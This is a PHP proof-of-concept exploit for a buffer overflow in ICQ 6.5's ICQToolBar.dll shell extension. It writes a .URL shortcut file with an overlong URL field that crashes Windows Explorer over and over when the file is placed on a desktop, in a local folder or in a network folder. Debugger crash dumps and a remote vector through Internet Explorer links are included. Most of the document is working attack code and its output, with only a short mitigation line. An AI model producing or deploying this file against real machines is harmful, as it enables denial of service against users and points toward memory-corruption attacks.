<?php /* ICQ 6.5 URL Search Hook/ICQToolBar.dll .URL file processing Windows Explorer remote buffer overflow poc by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ If the resulting file is placed on the desktop, against ex. xp sp3 process explorer.exe will exit with code 1282 (0x502) that is ERROR_STACK_BUFFER_OVERRUN and crash infinitely, you cannot even browse a folder if the file is present in it Solution: disable the shell extension, you may try shellexview by nirsoft Note (added 30/05/2009, remote vector added): it works with network folders too ... against a win2k3 where explorer.exe is not patched with /GS flag: (f44.104): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000 eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 SHLWAPI!Ordinal400+0x2d: 772a533f 668906 mov word ptr [esi],ax ds:0023:00610061=???? <----- 0:010> g (f44.104): Access violation - code c0000005 (!!! second chance !!!) eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000 eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 SHLWAPI!Ordinal400+0x2d: 772a533f 668906 mov word ptr [esi],ax ds:0023:00610061=???? <----- 0:010> gn eax=00000001 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000001 eip=7ffe0304 esp=0178fcf0 ebp=0178ff44 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 SharedUserData!SystemCallStub+0x4: 7ffe0304 c3 ret prepare a network folder with the .url file inside. This works against Internet Explorer too by a hyperlink to the network folder */ $____x = "[InternetShortcut]\x0d\x0a". "URL=".str_repeat("\x61",2184); file_put_contents("9sg_poc.url",$____x); ?> #original url: http://retrogod.altervista.org/9sg_icq_dos.html